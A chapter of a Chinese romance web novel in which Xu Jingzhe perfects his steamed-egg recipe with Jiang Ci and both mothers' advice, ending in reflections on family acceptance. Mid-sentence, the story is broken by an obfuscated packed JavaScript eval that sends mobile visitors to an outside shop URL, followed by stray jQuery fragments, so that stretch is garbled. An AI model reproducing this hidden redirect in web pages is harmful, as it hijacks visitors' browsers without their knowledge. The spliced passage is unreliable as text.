许惊蛰决定做蒸蛋第五版,是在一个很普通的周六上午。
事情的起因是许母和江母在微信上交流蒸蛋经验。许母学会了江母的“盖盘子法”之后,蒸蛋水平突飞猛进,还拍了一张表面光滑得像小镜子的成品图发给许惊蛰。江母又补充说,蛋液和水的比例最好控制在一比一点五左右,水要温水,别用开水,也别用冷水。许母回了一个“明白”,然后转头把截图发给许惊蛰,附带一句:你照这个做,别再蒸成蜂窝煤。
许惊蛰看着“蜂窝煤”三个字,沉默了很久。
他给江辞发消息:我妈对我的蒸蛋评价很不客观。
江辞回:之前那版确实有一点孔。
许惊蛰:你管那个叫一点?
江辞:我在委婉。
许惊蛰盯着屏幕,觉得自己被爱情和亲情联合进行了厨艺攻击。
所以周六上午,他决定雪耻。
他把这件事称为“蒸蛋第五版专项优化”。江辞听完这个项目名,表情很平静,只问:“需要我做什么?”
许惊蛰系上围裙,一脸严肃:“你负责旁观,不要过度干预。今天我要证明,我不是只会做需求文档的人。”
江辞点头:“好。”
“但如果我马上要犯严重错误,你可以提醒。”
“什么算严重错误?”
“比如把盐当糖,比如用开水冲蛋液,比如忘记开火。”许惊蛰想了想,“其他轻微错误允许我自主探索。”
江辞看着他:“明白。”
许惊蛰先拿出两个鸡蛋,打进碗里。他动作很认真,像在拆一个精密功能。打完蛋后,他拿筷子搅拌,搅着搅着忽然停住:“江辞,顺时针和逆时针对结果有影响吗?”
江辞:“没有。”
“你确定?”
“确定。”
“那为什么教程说要一个方向搅?”
江辞想了想:“可能显得专业。”
许惊蛰觉得有道理,继续非常专业地朝一个方向搅。
蛋液搅匀后,他开始加温水。水量是关键。前几版失败,有一版太老,有一版太稀,有一版表面像被月球撞过。许惊蛰这次吸取教训,拿了量杯,严格按比例来。
江辞站在旁边,看着他像做实验一样量水,眼里带笑:“你现在做饭越来越科学。”
许惊蛰非常认真:“烹饪也是产品迭代,不能靠玄学。”
“那之前靠什么?”
“靠勇气。”
江辞笑了。
加完水,许惊蛰开始过滤蛋液。他以前嫌麻烦,觉得蒸蛋嘛,搅一搅上锅不就行了。后来他发现生活里很多“嫌麻烦”的地方,最后都会以更麻烦的形式回来。比如不过滤会有气泡,比如不看说明书会把退烧药吃错时间,比如不说清楚边界会让用户以为平台能帮他找对象。
过滤完,蛋液变得很细。许惊蛰看着碗里淡黄色的液体,忽然有点成就感:“这次感觉有戏。”
江辞点头:“有戏。”
“你不要敷衍。”
“没有。”
“那你说说哪里有戏。”
江辞看了一眼:“比例正确,蛋液过滤了,表面泡沫也去掉了。”
许惊蛰满意:“这才叫有效反馈。”
上锅前,他照着两位妈妈的指导,在碗上扣了一个盘子。然后开火,设定时间。他站在锅前,表情庄严得像在等待灰度数据。
江辞说:“你可以坐下。”
“不行。”许惊蛰盯着锅,“关键阶段不能离场。”
“它不会跑。”
“但它会老。”
江辞无奈地笑了一下。
等待期间,许惊蛰忽然想起校园问问里的“借一点勇气”,忍不住说:“你知道吗,我觉得做蒸蛋和做产品有点像。”
江辞看向他。
“你看,蛋液就是需求,水就是资源,比例不对就会翻车。火候就是节奏,太急会老,太慢不成型。过滤是把杂质和没想清楚的东西去掉。盖盘子是控制外部变量。最后你打开锅盖,才知道真实效果怎么样。”
江辞听完,沉默两秒,说:“这个比喻比你之前把误认领讲成狗好多了。”
许惊蛰瞪他:“江辞,那件事已经过去很久了。”
“但很经典。”
“你是不是跟小陈学坏了?”
江辞说:“跟你。”
许惊蛰觉得江辞现在越来越会把锅推回来了。
十二分钟后,蒸蛋出锅。许惊蛰小心翼翼打开锅盖,拿掉盘子。碗里的蒸蛋表面平整,颜色柔和,只有边缘一点点小气泡,整体看起来非常成功。
许惊蛰眼睛亮了:“江辞!”
江辞走过来看,认真说:“很好。”
许惊蛰差点当场鼓掌:“这不是很好,这是里程碑。”
他拿勺子轻轻挖了一口,蒸蛋内部细嫩,晃动时很平滑。许惊蛰把第一勺递给江辞:“试吃用户,请反馈。”
江辞吃了一口,点头:“很嫩,味道也刚好。”
许惊蛰盯着他:“有没有安慰成分?”
“没有。”
“有没有恋爱滤镜?”
江辞想了想:“可能有一点,但味道确实好。”
许惊蛰满意:“允许保留适度滤镜。”
他自己也吃了一口,眼睛立刻亮了。真的成功了。不是勉强能吃,不是“下次会更好”,而是这次已经很好。那一刻,许惊蛰产生了一种非常朴素又强烈的快乐。好像这一碗蒸蛋证明了某件更大的事:他真的能一点点学会以前不会的东西。
他拍照发给许母:第五版成功。
许母很快回:这次看着可以。盐放多了吗?
许惊蛰:没有,江辞说刚好。
许母:他说刚好不一定准,他可能哄你。
许惊蛰把手机递给江辞,语气沉痛:“我妈现在连你的评价也要打折。”
江辞看完,笑了一下,拿起手机给许母发语音:“阿姨,味道确实刚好,这次惊蛰做得很好。”
许惊蛰站在旁边,耳朵慢慢红了。
许母过了一会儿回:那就行。以后让他多练练,别总让你做。
许惊蛰震惊:“我妈现在是不是已经默认你会长期吃我的饭了?”
江辞看着他:“不好吗?”
许惊蛰一顿,嘴硬道:“也不是不好,就是她现在的家庭规划有点自然。”
江辞说:“我觉得很好。”
许惊蛰低头吃蒸蛋,嘴角却压不住。
中午他们用那碗蒸蛋配了两碗米饭,还有许母寄来的牛肉酱和江母给的腌小菜。桌上东西不多,却非常像一个小型家庭联盟成果展。许惊蛰一边吃,一边感慨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791545|204514||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
:“你看,这个蒸蛋是你妈技术支持,我妈远程监督,我现场执行,你试吃验收。非常完整的跨家庭协作流程。”
江辞点头:“成果不错。”
“所以这道菜应该命名为家庭联盟蒸蛋。”
“可以。”
“简称联蛋?”
江辞筷子一顿。
许惊蛰看他表情,自己也意识到不对,沉默两秒:“算了,这个名字不太好。”
江辞低头笑得肩膀轻轻动。
许惊蛰恼羞成怒:“笑什么,命名探索允许失败。”
江辞笑了很久才说:“嗯,第一期不承接。”
许惊蛰拿筷子指他:“你现在连我的产品话都学会反击了,江辞,你真的变了。”
江辞给他夹了一点青菜:“多吃点。”
许惊蛰本来还想继续控诉,一听这句,又没脾气了。
下午,两人一起去超市买东西。许惊蛰想补牙膏、洗衣液、鸡蛋和一把新的小锅。江辞推着购物车,许惊蛰在货架前挑来挑去。以前他自己逛超市,常常是看见什么快没了就买什么,偶尔还会买重复。现在他和江辞一边走一边商量,像很普通的一对一起过日子的人。
走到调料区时,许惊蛰拿起一瓶低钠酱油,忽然说:“我以前不太理解为什么我妈那么喜欢给我塞吃的。现在有点懂了。”
江辞看着他。
“因为吃饭是最容易确认一个人过得好不好的方式。”许惊蛰说,“她不能每天看着我工作顺不顺,心情好不好,也不能一下子完全理解我和你的未来。但她可以寄酱,可以教我蒸蛋,可以问我们吃没吃热的。”
江辞轻声说:“嗯。”
“你妈也是。”许惊蛰把酱油放进购物车,“她教蒸蛋,给腌菜,翻相册给我看。她们其实都在用自己会的方式,让我们过得具体一点。”
江辞看着购物车里的鸡蛋、青菜、调料和水果,眼神很软:“我们也可以学着把日子过具体。”
许惊蛰点头:“比如今天的蒸蛋第五版。”
“很具体。”
“非常具体,而且可复用。”
江辞笑了。
晚上,许惊蛰把剩下半碗蒸蛋热了吃。虽然口感没有刚出锅时那么好,但他还是吃得很认真。吃完后,他洗了碗,擦干,放进柜子里。江辞在旁边看着他,忽然说:“你现在洗碗也很熟练。”
许惊蛰回头:“江辞,你这个语气像看幼儿园小朋友学会系鞋带。”
“不是。”
“那是什么?”
“是看你把生活一点点接起来。”
许惊蛰手上的动作停住。
他低头看着洗干净的碗,心里忽然很安静。江辞说得对。他以前总觉得人生的大事是毕业、工作、转正、出柜、见家长。可那些大事之后,真正支撑日子的,是这些小事。做一碗蒸蛋,买一瓶酱油,洗一个碗,记得吃饭,学会用钥匙开门,也学会给别人留一盏灯。
那晚,他在小本子上写:蒸蛋第五版成功。关键参数:温水,一比一点五,过滤,盖盘子,中小火。试吃用户江辞评价“很好”。亲妈持谨慎态度,但已通过语音复核。结论:生活技能可通过持续迭代提升。
写完后,他又补了一句:今天忽然明白,家庭接受不一定总是在客厅里谈出来的,也可能是在蒸蛋里一点点蒸出来的。